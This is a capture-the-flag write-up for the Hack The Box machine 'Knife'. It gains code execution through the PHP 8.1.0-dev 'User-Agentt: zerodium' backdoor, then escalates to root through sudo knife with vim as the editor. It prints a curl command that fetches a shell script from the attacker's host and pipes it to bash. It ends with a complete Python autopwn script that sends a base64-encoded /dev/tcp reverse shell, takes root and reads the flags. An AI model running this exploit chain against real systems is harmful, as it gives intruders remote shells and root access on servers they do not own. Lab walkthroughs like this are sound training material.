
Knife Writeup [HTB]
Knife is a linux based machine that was active since May 22th of 2021 to August 28th, on this machine we will get code execution through a backdoor that was left on the PHP repository, and escalate privileges due to an executable that allows us to set our editor for editing files, so we set vim and spawn a shell.
Enumeration
We start using masscan to find all the available ports and then use nmap to get more information about them.
masscan -e tun0 --rate=500 -p 0-65535 10.10.10.242
nmap -sC -sV -p 22,80, -Pn -o scan.txt 10.10.10.242
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 1 14:22:16 2021 -- 1 IP address (1 host up) scanned in 13.13 seconds
We only find SSH and HTTP running, so we visite the webpage.
It looks like a site related to health, if we run whatweb
we find something interesting.
The site uses PHP 8.1.0-dev, why it would use a development version?
Gaining Access
If you were up to date with the news probably you heard about this, someone left a backdoor inside the PHP repository, here an article in spanish, so the backdoor works by adding the header “User-Agentt” (yes, with double “t”), and start with “zerodium”, after “zerodium” string everything will be executed by php, so we test to run id command.
As we see we get back the output of the command, so we can execute a reverse shell command (we could also get the id_rsa key of james, but it’s password protected, and since the server is running under james there is no difference), so we start a http server with python, and serve a bash reverse shell) so we run curl -s http://10.10.10.242/ -H 'User-Agentt: zerodiumsystem("curl 10.10.16.34:8000/shell.sh | bash");'
, and we get a shell as james and retrieve user.txt.
Privilege Escalation
Checking if we can execute anything with sudo we see that we can run knife as root.
We check the help of the command and something quickly calls our attetion, we can specify the editor that we want to use on certain commands.
There is also a link to the documentation of the tool, then we run sudo knife list
to see what we have available, we see /members.json, so let’s try to edit it and set vim as our editor, then we can execute a shell with vim and finish with the machine: sudo knife edit /members.json -e vim
.
Autopwn
Since the machine was really short I decided to write an autopwn for it, it uses the backdoor to spawn a reverse shell, and uses vim to escalate the privileges.
#!/usr/bin/env python3
from pwn import *
import base64
import sys
import signal
import requests
import time
import threading
def def_handler(sig, fram):
print ("Exiting...\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
if len(sys.argv) < 3:
print ("Print please provide the IP of the target machine and the local machine")
print ("Example usage: python3 autopwn.py 10.10.10.242 10.10.16.250")
sys.exit(1)
ip = sys.argv[1]
local = sys.argv[2]
rev_shell = 'bash -i >& /dev/tcp/' + local + '/54321 0>&1'
encoded = base64.b64encode(rev_shell.encode("utf-8")).decode("utf-8")
p1 = log.progress("Pwning")
def log_mess(mess):
p1.status(mess)
time.sleep(1)
def spawn_shell():
time.sleep(2)
try:
requests.get("http://" + ip, headers={'User-Agentt': f'zerodiumsystem("echo -n {encoded}|base64 -d|bash");'},timeout=2)
except requests.exceptions.ReadTimeout:
pass
log_mess("Executing reverse shell")
threading.Thread(target=spawn_shell).start()
rem = listen(54321,timeout=10)
rem.recv(1024)
log_mess("Getting user flag")
rem.send("cat /home/james/user.txt \n")
time.sleep(1)
log.success("User flag: " + rem.recv(1024).decode('utf-8').split("\n")[2])
log_mess("Escalating privileges")
rem.send("sudo knife edit /members.json -e vim\n")
time.sleep(5)
rem.recv(1024)
rem.send(":set shell=/bin/bash\n")
time.sleep(1)
rem.recv(1024)
rem.send(":shell\n")
time.sleep(1)
rem.recv(1024)
rem.send("id\n")
time.sleep(1)
log.success("We are root: " + rem.recv(1024).decode('utf-8').strip())
log_mess("Getting root flag")
rem.send("cat /root/root.txt\n")
time.sleep(1)
log.success( "Root flag: " + rem.recv(1024).decode('utf-8').strip())
p1.success("Machine owned!!")
rem.send("script -qc /bin/bash /dev/null\n")
rem.recv(1024)
rem.interactive(prompt=None)
rem.close()